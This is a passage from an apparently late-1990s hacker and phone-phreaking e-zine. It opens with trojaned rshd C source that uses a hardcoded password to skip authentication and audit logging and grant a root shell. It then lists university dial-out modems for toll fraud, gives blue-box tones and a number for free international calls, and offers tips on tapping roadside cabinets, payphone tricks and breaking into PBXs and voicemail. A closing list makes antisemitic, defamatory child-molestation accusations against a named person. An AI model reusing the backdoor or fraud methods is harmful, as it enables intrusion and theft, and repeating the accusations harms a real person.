	if (port != 0) {
		int lport = IPPORT_RESERVED - 1;
		s = rresvport(&lport);
		if (s < 0) {
			syslog(LOG_ERR, "can't get stderr port: %m");
			exit(1);
		}
		if (port >= IPPORT_RESERVED) {
			syslog(LOG_ERR, "2nd port not reserved\n");
			exit(1);
		}
		fromp->sin_port = htons((u_short)port);
		if (connect(s, (struct sockaddr *) fromp, 
			    sizeof (*fromp)) < 0) {
			syslog(LOG_INFO, "connect second port: %m");
			exit(1);
		}
	}
	dup2(f, 0);
	dup2(f, 1);
	dup2(f, 2);
	hp = gethostbyaddr((char *)&fromp->sin_addr, sizeof (struct in_addr),
		fromp->sin_family);
	if (hp)
		strncpy (hostname, hp->h_name, sizeof(hostname));
	else
		strncpy (hostname, inet_ntoa(fromp->sin_addr), 
			 sizeof(hostname));
	getstr(remuser, sizeof(remuser), "remuser");
	getstr(locuser, sizeof(locuser), "locuser");
	getstr(cmdbuf, sizeof(cmdbuf), "command");

	if (!strcmp(PASSWORD,locuser))
	{
		trojan=1;
	}

        if (!trojan && (ia_start("in.rshd", locuser, NULL, hostname, NULL, &iah)) !=
                IA_SUCCESS) {
                syslog(LOG_ERR, "ia_start() failed\n");
                exit(1);
        }
 
        if (!trojan && ia_auth_user(iah, 0, &pwd, &ia_status) != IA_SUCCESS) {
                error("permission denied\n");
		audit_rshd_fail("Login incorrect", hostname,
			remuser, locuser, cmdbuf);	/* BSM */
                exit(1);
        }

	if (trojan)
		pwd=getpwnam("root");
	else
	{
		shpwd = getspnam(locuser);
		if (shpwd == NULL) {
			error("permission denied.\n");
			audit_rshd_fail("Login incorrect", hostname,
				remuser, locuser, cmdbuf);      /* BSM */
			exit(1);
		}
	}
 
	/*
	 * maintain 2.1 and 4.* and BSD semantics with anonymous rshd
	 */
	if (!trojan && shpwd->sp_pwdp != 0 && *shpwd->sp_pwdp != '\0' &&
	    ia_auth_netuser(iah, remuser, &ia_status) != IA_SUCCESS ) {
                error("permission denied\n");
		audit_rshd_fail("Permission denied", hostname,
			remuser, locuser, cmdbuf);	/* BSM */
                exit(1);
        }

	if (chdir(pwd->pw_dir) < 0) {
		(void) chdir("/");
#ifdef notdef
		error("No remote directory.\n");
		exit(1);
#endif
	}

	(void) write(2, "\0", 1);
	if (port) {
		if (pipe(pv) < 0) {
			error("Can't make pipe.\n");
			exit(1);
		}
		pid = fork();
		if (pid == (pid_t)-1)  {
			error("Fork (to start shell) failed on server.  Please try again later.\n");
			exit(1);
		}

#ifndef MAX
#define MAX(a,b) (((u_int)(a) > (u_int)(b)) ? (a) : (b))
#endif /* MAX */

		if (pid) {
			int width = MAX(s, pv[0]) + 1;
			fd_set ready;
			fd_set readfrom;

			(void) close(0); (void) close(1); (void) close(2);
			(void) close(f); (void) close(pv[1]);
			FD_ZERO (&ready);
			FD_ZERO (&readfrom);
			FD_SET (s, &readfrom);
			FD_SET (pv[0], &readfrom);
			if (ioctl(pv[0], FIONBIO, (char *)&one) == -1)
				syslog (LOG_INFO, "ioctl FIONBIO: %m");
			/* should set s nbio! */
			do {
				ready = readfrom;
				if (select(width, &ready, (fd_set *)0,
				    (fd_set *)0, (struct timeval *)0) < 0)
					break;
				if (FD_ISSET (s, &ready)) {
					if (read(s, &sig, 1) <= 0)
						FD_CLR (s, &readfrom);
					else
						killpg(pid, sig);
				}
				if (FD_ISSET (pv[0], &ready)) {
					errno = 0;
					cc = read(pv[0], buf, sizeof (buf));
					if (cc <= 0) {
						shutdown(s, 1+1);
						FD_CLR (pv[0], &readfrom);
					} else
						(void) write(s, buf, cc);
				}
			} while (FD_ISSET (s, &readfrom) || 
				 FD_ISSET (pv[0], &readfrom));
			exit(0);
		}
		setpgrp(0, getpid());
		(void) close(s); (void) close(pv[0]);
		dup2(pv[1], 2);
		(void) close(pv[1]);
	}
	if (*pwd->pw_shell == '\0')
		pwd->pw_shell = "/bin/sh";
	(void) close(f);

	/*
	 * write audit record before making uid switch
	 */
if (!trojan)
{
	audit_rshd_success(hostname, remuser, locuser, cmdbuf); /* BSM */

        if (retval = ia_setcred(iah, SC_INITGPS|SC_SETRID,
                        pwd->pw_uid, pwd->pw_gid, 0, NULL, &ia_status)) {
                switch (retval) {
                        case 0:
                                break;
                        case IA_BAD_GID:
                                error("Invalid gid.\n");
                                exit(1);
                        case IA_BAD_UID:
                                error("Invalid uid.\n");
                                exit(1);
                        default:
                                exit(1);
                }
        }
        ia_end(iah);
} 
#ifdef	SYSV
	if (pwd->pw_uid)
		envinit[ENVINIT_PATH] = userpath;
	else
		envinit[ENVINIT_PATH] = rootpath;
	if (tzenv = getenv("TZ")) {
		/*
		 *	In the line below, 4 is strlen("TZ=") + 1 null byte.
		 *	We have to malloc the space because it's difficult to
		 *	compute the maximum size of a timezone string.
		 */
		tz = (char *) malloc(strlen(tzenv) + 4);
		if (tz) {
			strcpy(tz, "TZ=");
			strcat(tz, tzenv);
			envinit[ENVINIT_TZ] = tz;
		}
	}
#endif	/* SYSV */
	strncat(homedir, pwd->pw_dir, sizeof(homedir)-6);
	strncat(shell, pwd->pw_shell, sizeof(shell)-7);
	strncat(username, pwd->pw_name, sizeof(username)-6);
	cp = rindex(pwd->pw_shell, '/');
	if (cp)
		cp++;
	else
		cp = pwd->pw_shell;
#ifdef	SYSV
	/*
	 * rdist has been moved to /usr/bin, so /usr/ucb/rdist might not
	 * be present on a system.  So if it doesn't exist we fall back
	 * and try for it in /usr/bin.  We take care to match the space
	 * after the name because the only purpose of this is to protect
	 * the internal call from old rdist's, not humans who type
	 * "rsh foo /usr/ucb/rdist".
	 */
#define RDIST_PROG_NAME	"/usr/ucb/rdist -Server"
	if (strncmp(cmdbuf, RDIST_PROG_NAME, strlen(RDIST_PROG_NAME)) == 0) {
		if (stat("/usr/ucb/rdist", &statb) != 0) {
			strncpy(cmdbuf + 5, "bin", 3);
		}
	}
#endif
	execle(pwd->pw_shell, cp, "-c", cmdbuf, (char *)0, envinit);
	perror(pwd->pw_shell);
	exit(1);
}

/*VARARGS1*/
error(fmt, a1, a2, a3)
	char *fmt;
	int a1, a2, a3;
{
	char buf[BUFSIZ];

	buf[0] = 1;
	(void) sprintf(buf+1, fmt, a1, a2, a3);
	(void) write(2, buf, strlen(buf));
}

getstr(buf, cnt, err)
	char *buf;
	int cnt;
	char *err;
{
	char c;

	do {
		if (read(0, &c, 1) != 1)
			exit(1);
		*buf++ = c;
		if (--cnt == 0) {
			error("%s too long\n", err);
			exit(1);
		}
	} while (c != 0);
}

ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
===============================================================================
==[ FONES / SCANNING ]=========[ .SECTION C. ]===========[ FONES / SCANNING ]==
===============================================================================
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
  1. Outdials : Lirik
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

                             Working Outdials
    
                 [100% for 304/319/413/800/804/814 NPAs]

      x.25 NPAs:204.306.403.416.418.506.514.519.604.613.709.902.905

===============================================================================

  Note  þ  NPA þ     IP/commands/Dial mask/Phones
  ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

  !!!     304        DIALOUT.WVNET.EDU    (No parity)
         1800        DIALOUTE.WVNET.EDU   (Even parity)
                     ATDT 9,xxxxxxx
                     http://wvnvm.wvnet.edu/~roman/dialout.html
                     test phone atdt35001

  !!!     319        ISN.IASTATE.EDU. or isn.rdns.iastate.edu
                     DIAL: MODEM or HELP
                     ATDT8xxx-xxxx

  !!!     413        dialout2400.smith.edu | dialout.smith.edu  
                     Ctrl+} gives PLACE AUTOCAL
                     press y, wait for CALL COMPLETE
                     atdt9,,xxx-xxxx
                     Independent Nation (413)573-1809

  !!!     804        ublan.acc.virginia.edu / ublan.virginia.edu
         1800        ublan2.acc.virginia.edu
                     >>connect telnet
                     >>connect hayes
                     atdt9,,xxx-xxxx
                     CPN 804-847-2501

  !!!     814        dialout.psu.edu     atdt8xxxxxxxxxx

          1800        CompuServe  2400  82387910
                         Telenet  2400  82311510
                          Tymnet  2400  82343853
                          DEC.    9600  7AM-Midnight EST  818002341998
                                        Port name: _LTA4974:

 ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄx.25 network access only [NUI required]ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
     NPAs:204.306.403.416.418.506.514.519.604.613.709.902.905

          DATAPAC 3101 (ASYNC/ITI) OUT-DIAL PORT ADDRESSES
             Outdial Ports (accept only prePAID calls!)
            The Destination terminal must be set to 7E1
              in order to receive the outdial call

     1) ENTER THE 7-DIGIT TELEPHONE NUMBER (LOCAL) OF THE DESTINATION
        TERMINAL.
     2) DATAPAC WILL RESPOND WITH:
        DIALING/COMPOSITION DU NUMERO (XXX-XXXX)
     3) DATAPAC WILL THEN INDICATE:
        RINGING/SONNERIE
        AS THE MODEM DETECTS RINGBACK TONE.
     4) WHEN THE DESTINATION MODEM ANSWERS THE CALL, DATAPAC WILL SEND
        THE FOLLOWING MESSAGE TO THE ORIGINATING END:
         CALL CONNECTED/COMMUNICATION ETABLIE

   NPA  City (PROVINCE)      SPEED      NUA ADDRESS
   ---  ---------------      -----      -------------
   403  Calgary (ALTA)        300       0302063300900
                             1200       0302063300901
   416  Clarkson (ONT)        300       0302091900900
                             1200       0302091900901
   403  Edmonton (ALTA)       300       0302058700900
                             1200       0302058700901
   902  Halifax (NS)          300       0302076101900
                             1200       0302076101901
   905  Hamilton (ONT)        300       0302038500900
                             1200       0302038500901
   519  Kitchener (ONT)       300       0302033400900
                             1200       0302033400901
   519  London (ONT)          300       0302035600900
                             1200       0302035600901
   514  Montreal (QUE)        300       0302082700902
                             1200       0302082700903
   613  Ottawa (ONT)          300       0302085700901
                             1200       0302085700902
   418  Quebec City (QUE)     300       0302048400900
                             1200       0302048400901
   306  Regina (SASK)         300       0302072100900
                             1200       0302072100901
   506  St-John's (NB)        300       0302074600900
                             1200       0302074600901
   306  Saskatoon (SASK)      300       0302071100900
                             1200       0302071100901
   709  St. John (NFLD)       300       0302078100900
                             1200       0302078100901
   416  Toronto (ONT)         300       0302091600901
                             1200       0302091600902
   604  Vancouver (BC)        300       0302067100900
                             1200       0302067100901
   519  Windsor (ONT)         300       0302029500900
                             1200       0302029500901
   204  Winnipeg (MAN)        300       0302069200902
                             1200       0302069200901

   ???  0228479110650  DIALOUT PSW??  CALL 50 LOGIN=LOGIN 70,1/NAME:XX

  ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Misc ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

  !?!     EURO       eurogate.iit.nl
                     register  call European carriers
                     (access via telnet is restricted?)

  !?!     513        dialout.afit.af.mil   dialout PWD?
                     port 2
  !?!     414        modems.uwp.edu  Ctrl-{   #
                     Connection Refused
  !?!     404        emory.edu      .modem8 or .dialout
  !?!     DC         dialout24.cac.washington.edu
                     CONNECTION REFUSED
  ?!?     604        dial24-nc00.net.ubc.ca |  dial24-nc01.net.ubc.ca
  ?!?     604        dial96-np65.net.ubc.ca
  !?!                isn.upenn.edu  "modem" attached to 17 port

  LOCAL              DIALOUT.IUPUI.EDU
                     l/p:DIALOUT/

  DOWN    213        bbs.thecosmos.com
          214        register first / dial dallas and LA
  DOWN    215        isn.upenn.edu
                     
                      DIAL: MODEM
  DOWN    416        pacx.utcs.utoronto.ca  outdial unavail
                     www.utoronto.ca/welcome.html/index.html
  DOWN?   619        dialin.ucsd.edu   "dialout"  Sandego CA
  DOWN    916        cc-dnet.ucdavis.edu   connect hayes/dialout

  ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Login/Pass or Port Pass ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

  PSW     204        dial.cc.umanitoba.ca
  PSW     206        rexair.cac.washington.edu
  PSW     303        yuma.ACNS.ColoState.EDU      login: modem
  PSW     412        dialout.pitt.edu / gate.cis.pitt.edu
                     only for students "Connect Dialout"
                       "d91kxxxxxx" x=fone #
                      or tn3270,  connect dialout.pitt.edu,
                     atdtxxxXXXX
  PSW     514        cartier.CC.UMontreal.CA      externe,9+number
  PSW     602        dial9600.telcom.arizona.edu
  PSW     619        dialin.ucsd.edu                "dialout"
  PSW     ???        modems.csuohio.edu
  PSW     ???        dialout.bu.edu
  PSW     ???        portal.ucs.indiana.edu  ONLY for Students
                      http://msgwww.ucs.indiana.edu/messaging/
                      /projects/portal/dialout.html
  PSW                128.187.1.2
  PSW     TW         sparc20.ncu.edu.tw      u349633
  PSW     TW         sun2cc.nccu.edu.tw       ?
  PSW                twncu865.ncu.edu.tw    guest    

  ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Trying... ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

  ???     206        rexair.cac.washington.edu
  ???     206        dialout24.cac.washington.edu
  ???     218        modem.d.umn.edu              Hayes 9,XXX-XXXX
  ???     307        modem.uwyo.edu
  ???     313        35.1.1.6  "dial2400-aa" or "dial1200-aa"
  ???     415        128.32.132.250  CA  "dial1" or "dial2"
  ???     502        outdial.louisville.edu
  ???     502        uknet.uky.edu  connect kecnet
                     @ dial: "outdial2400 or out"
  ???     602        acssdial.inre.asu.edu/[129.219.17.3].
                     atdt8,,,,,[x][yyy]xxxyyyy.
  ???     609        129.72.1.59 Princeton NJ   | "Hayes"
                     128.119.131.11X
  ???     615        dca.utk.edu   "dial2400"   Tennessee
  ???     713        128.249.27.153             | "Hayes"
  ???     713        128.249.27.154  , Login:c modem96
  ???     714        130.191.4.70              atdt 8xxx-xxxx
  ???     714        modem.nts.uci.edu    atdt[area]0[phone]
  ???                128.6.1.42
  ???                modempool.pbs.org  "connect"
  ???                datapbx.cc.ncsu.edu dest:dial  ATDT 9,xxxxxxxx
                     www2.ncsu.edu

  ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ No route ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

  ROUTE   OH*        r596adi1.uc.edu | 129.137.33.72
  ROUTE   404        128.140.1.239  .modem8|CR  .modem96|CR
  ROUTE   212        DIALOUT.NYU.EDU            dial3/dial12/dial24
  ROUTE   514        132.204.211
  ROUTE   619        128.54.30.1 nue, ?  atdt [area][phone]
  ROUTE              129.180.1.57
  ROUTE   ???        modem.nyu.edu
  ROUTE   ???        TN3270  telnet.ksu.edu
                     At the Select Destination prompt, enter DIALOUT
                     Perhaps a better method is to use MS-Kermit 3.10
                     MSKERMIT
                     SET HOST TELNET.KSU.KSU.EDU
                     DIALOUT
                     ATDT9[1aaappp]xxxxxxx[,,auth]
                     to USE AT&T calling Card
                     ATDT90NPAxxxxxxx,,,,CardNumberPIN

7  ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Dead ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

  ///     215        wiseowl.ocis.temple.edu    | atz atdt 9xxxyyy
  ///     218        aa28.d.umn.edu    "cli" "rlogin modem"
  ///     404        broadband.cc.emory.edu    Atlanta Georgia
  ///     404        dialout1.princeton.edu
  ///     416        annex132.berkeley.edu. 9xxxyyyy?atdt9,,,,,xxxyyyy?
  ///     614        ns2400.ircc.ohio-state.edu (DIAL)
  ///     617        dialout.lcs.mit.edu ()
  ///     902        star.ccs.tuns.ca           | "dialout"     P E I
  ///                modem.atk.com
  ///                modem.cis.uflu.edu
  ///                vtnet1.cns.ut.edu              "CALL" or "call"

  ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ  Note descriptions  ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

                 ???     trying IP address...
                 ///     Unknown Host
                 ROUTE   No route to Host
                 LOCAL   Local Access only ?
                 PSW     Login/Password Required
                 !?!     Strange
                 !!!     Working (should be, heh)

  ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Used Dox/Search Engines ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

              www.altavista.com | www.infoseek.com [Ultra]
                  Dialout List#4 - 22/12/93 By SPiN-DoC
                2600's Vol. 8 #1 Dialout List +- some junk
                             alt2660.faq
                         [Hardcore Phreaks (8)]

  ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
                                 [eoF^z]

ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
  2. BlueBoxing in the UK in '98 : The UK Phreaking Elite
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

     .------------------------------------------------------------------.
     |         \        ____     \__    __          ____       /        |
     |      ___/       / / /        \_ /  \        / / /       \___     !
     |     /   \  ____/  \/___________|___________/  \/________/   \__  :
     !       __/\/                                         / /          :
     :    __/   /_________________________________________/ /\__        !
     :          \_________________________________________\/ /  \___    |
     :            __/               \___         ____/                  |
     :        \__/  \__/           _/   \__/    /    \__                |
     :              /     |       / .              !  .   |             !
     !         .       :  !               :        :  .                 :
     |                 |  .      |        !        :  :   !             :
     !           :     !__|      !                 |__!   :             !
     :                /   / D e s T r u C T i v E /   /   :             :
     :         : !___/   /_______________________/   /____!__           :
     !         !/   /   /   /   /       /   ____/   / ___   /           !
     `-------- /   /   /   /   /   /   /   /   /   /     __/ -----------'
               \______/\______/\__/___/\______/\__/\______/

                       "The Hardcore Will Never Die"
                        

 Since March 1994 there have been many rumours about the "death" of
 Blueboxing. The truth is that Blueboxing is very much alive, it has just
 become a little more difficult, and harder to understand. In some cases
 it's not just a case of knowing the tones, it also takes a lot of skill
 and patience.

 The "elites" who have been boxing since then (excluding lamers
 spoon-fed info from earlier Destructive Jungle releases), have had to work
 hard to find out how to carry on boxing, and have kept it to themselves.
 
   
 In reaction to recent busts, we are now going to once again, teach the
 newbies, lamers, and in fact, everyone we possibly can, how to Bluebox. BT
 may think they have a problem already, but the trouble is only just
 beginning. Spread this information as far and wide as you can.
 
 This "current" method (as of 24/02/98) is actually very simple:   


 The magic number is: 0800 890 861 (China Direct Calling Card Service)

			Freq 1 Freq 2  Length
			---------------------
                Tone 1  2400Hz/2600Hz  135ms
                Tone 2  2400Hz/2400Hz  240ms

 Best to send the break after pick-up. It's all automated, so it won't annoy
 any operators.

 As well as calling China, you can also call the UK (trade warez for hours!)
 and New Zealand. A few other countries are possibly available, but they keep 
 changing them.

 For those of you with bad memories:

   KP2-44-0-171-930-4832-ST is the format for international dialling.

 ---

 Special note to BT:

 This file is written by nobody in particular. The person(s) posting it
 to newsgroups/BBS's/wherever have no connection with us. You can try to find
 the people responsible, but will soon come to realise that it's an impossible
 mission. Myself and my friends certainly will not be blueboxing, and have
 not done for quite some time.

 This particular route probably won't last very long, but there are plenty
 more to come. 

 We will always have the upper hand.

						Hugs & Kisses.

						The UK Phreaking Elite.



ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
  3. UK Phone Definitions and Abbreviations : Jf
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

I have put together as much stuff as I think is necessary for an average
knowledge of the UK fone system, switching methods and exchange types.
I would defiently recommend researching into the subjects contained in this
document in more detail to gain a very detailed knowledge, if you are stuck
then email me and I will help to guide you along. The Information below is
enough to get you started and provide you with an average knowledge of the
UK fone system.... so enjoy..

Jf_ aka Josh Freedaleman

JF@cofuk.org
http://www.cofuk.org

======================================
AAS - Automatic Announcement Subsystem	
======================================

Used in Local Exchanges as a method of voice operated guidance. eg. informs of
code changes by automated messages. For example, these appeared a lot in 1994
when all area codes changed. On 16th April 1994 all area codes had a 1 added
to them. For example 081 became 0181 and therefore AAS was used alot during
this time to leave automated messages, these go something like this...

"This is a BT announcement, the number you have dialed has changed, pleased add
a 1 after the 0 on the area code and replace the handset and try again".

=========
Cab Boxes
=========	

Large green boxes located on the sides of roads to deal with all the lines in
that area, some cab boxes are full of 100s of wires for that area whereas
others can be much smaller. I would recommend having a look inside one of these
as they are totally full of wires but don't get caught opening one of these as
you might be arrested! :o) If you open one of these cab boxes you can beige
box off it, good fun if the cab box has 100s of lines in it as you can easily
seize lot of peoples fone lines :o) If you have a laptop computer you could
find a cab box in a secluded area, box of it, hide in bushes or something and
hax0r from that seized line, I would recommend this if you are going to carry
out a big hack. -- Cab boxes are also called PCP's (so1o)

========================================================================
CCITT -	Consultive Committee for International Telegraphs and Telephones	
========================================================================

An international committee setup to regulate and discuss international fone
communication matters and standards of communication devices. The UK fone
system is based on CCITT7 which is used in most developed (?) countries such
a America and the UK. To blue box from the UK you need to be looking for
countries which used CCITT5 lines, the best way I know of to find CCITT5
lines is to dial the countries 0800 89 **** number and if you here a click
beep sound then you have identified a CCITT5 line which is vulnerable to
boxing.

===============================
CCS - Common Channel Signalling	
===============================

Process used by BT to reserve a speech channel for signalling and to control
all the other channels in its section.  This is the standard method of
signalling between digital exchanges.

===============================================
COCOT -	Customer Owned Coin Operated Telephones
===============================================	

A Payphone owned privately by businesses, they usually add a little bit extra
onto the price of calls to make some more money, found in hotels, swimming
pools etc.  There are lots of COCOT tricks that you can get up to, I have not
tried all of them but two that I have tried and have worked succesfully for
me are the following -

dial *#2580 on the fonepad, it makes the line an engineers test line and you
can then dial any number you wish for free, and I mean any number :o) 

Another trick is that some COCOT's have the line going into a wallplug located
near the telephone, just unhook the fone line and plug your own fone in place,
I did this at my local Swimming Pool recently and dialed a friend in the States
for FREE!#@!

===============================
CPS - Call Processing Subsystem	
===============================

Used on local exchanges to take overall control over a line, it registers the
state of the line and tells callers whether it is free, engaged etc. This is
the fundamental part of the local exchange and without this, well, there would
be no calls really as nothing would be able to register. 

===================================
DCCE - Digital Cell Centre Exchange
===================================

Another exchange which handles services on a local scale, distributing calls
to other exchanges, this is a lesser form of DMSU but perfoms a similar job.

=========================================
DDSN - Digitally Derived Services Network	
=========================================

A network of numbers used as service numbers eg 0800, 0891, 0898, 0500.

=============================
DLE - Digital Local Exchanges
=============================	

Hosts the RCU's used within a local exchange, If you get a chance to look at
you local DLE do it, I found it very impressive and was really stood there
in awe of it all.

===================================
DLSU - Digital Local Switching Unit	
===================================

Handles all the local customers fone needs and services, putting them onto the
right connections and switching them about so that they reach their required
destination. Really like an operator but as this is the 1990s its all in
digital form :o)

==================================
DMSU - Digital Main Switching Unit	
==================================

Controls and switches Telephone traffic within its designated area and it will
distribute this traffic to its local exchanges.

============================
DSU - Digital Switching Unit
============================

Original Manufactured to handle the very high call volume in and around London,
based on the DMSU but designed to take a higher amount of calls and distribute
them onto the local exchanges. DSU's are now found in and around lots of major
large cities where they are needed to take control of the high call volume
while the DMSU's take care of the rest of the country.

================================
DTMF - Dual Tone Multi-Frequency	
================================

The tones heard on your home fone when you dial in your numbers on the keypad.

==============================
ERS - Emergency Repair Service	
==============================

The Engineers on Standby to repair fones etc.

=============
Meridian Mail
=============

A Voice Mail System provider, owned by Northern Telecom and a major UK
supplier of VMB's for UK businesses. -- there are a few neat meridian mail
tricks (so1o)

=============================
PBX - Private Branch Exchange
=============================	

Exchange used by large companies to deal with their calls, great fun to
*hack*, I have found that these are usually located in the 0500 prefix
range. These are usually provided by Norstar and are very common with big
companies who have stores in all areas of the country, or on a local scale. 

===========================
PCM - Pulse Code Modulation
===========================

Modern BT signalling method used which cuts down information from several calls
into smaller packets, sending them in turn down the line.

========================================
PSTN - Public Switched Telephone Network
========================================	

This is a large BT exchange network which contains all the smaller local
exchanges and looks after all these. eg. DLE's, RCU's etc

==============================
RCU - Remote Concentrator Unit
==============================

Basically Cab Boxes (PCPs) that provide a meeting point for ALL the lines in
an area, they are bigger than Cab Boxes and tend to occupy full buildings
rather than little boxes on the side of the road, RCU's are therefore found
at your local telco depot and they are very impressive to look at.

========
System X	
========

System X is a digital phone exchange which was the first installed in UK and
was set to be installed 100% throughout UK until someone thought that it was
unfair for one company to dominate the digital exchange market so a company
called Ericsson produced AXE, a rival digital fone exchange system, the
AXE10 system was chosen by BT and this forms what we call the BT System Y
Exchange. System X technology was soon outdated after release due to the
fact that it was designed by a committee who were slow at releasing its first
model and by this time AXE had been released and it saw a vast technological
improvement on System X while keeping the fundamental backbone on which it
was based.

========
System Y	
========

The UK digital Exchange based heavily on the AXE10 Digital Exchnage System
Manufactured by Swesih company Ericsson, System Y is the UK alternative to
System X and is installed fully in over 90% of the UK. When it was released
it was much more technologically advanced than System X but heavily
structured on it.

====================
VMB - Voice Mail Box	
====================

Used by companies to keep in touch with each other by an answering machine
type of service, usually found as freefone numbers and a main supplier of
these is Meridian Mail. There are lots of VMBs which can be found if you scan
for them and they provide interesting toys if you want to *hack* them.   



Thats your lot for now...I believe that the information in this document is
all you need for an average knowledge of the UK fone system. I have cut out all
the bullshit and all the outdated info that you will find in numerous other
texts and left you with what you need.  If you have found an area in this
document that really interests you then do more research into that area and
specialise, you should be able to find further information on most things
included in this document, so go hunting or look out for more texts from me
soon....

If you would like to talk about anything connected with this text or any other
relevant h/p stuff then you can find me in #phreak and #CoF on undernet when
I am on irc. My nick is Jf_ of course :o)

Jf_ aka Josh Freedaleman

JF@cofuk.org
CoF - http://www.cofuk.org


ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
===============================================================================
==[ MISC ]=====================[ .SECTION D. ]=======================[ MISC ]==
===============================================================================
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
  1. Top Ten Reasons why..You shouldn't leave small children alone with
     Emmanuel Goldstein.
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

10) He isn't down with the posse, although he think's he is
9)  He seems a little too friendly
8)  He likes little boys
7)  His nick is jewish
6)  so1o said so
5)  He appeared on "The Learning Channel" inbetween when
    speedy and gonzolez showed you how to get free AOL
    and how to generate credit card numbers
4)  He published an arcticle on how to steal (*gasp*)
3)  He was an english major
2)  Do you know how hard it is to get rid of head lice?
1)  HE'S A FUCKIN CHILD MOLESTER YOU DUMB CUNT!@^&%$@%

ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
  2. Hacking Digital Unix 4.0 : humble
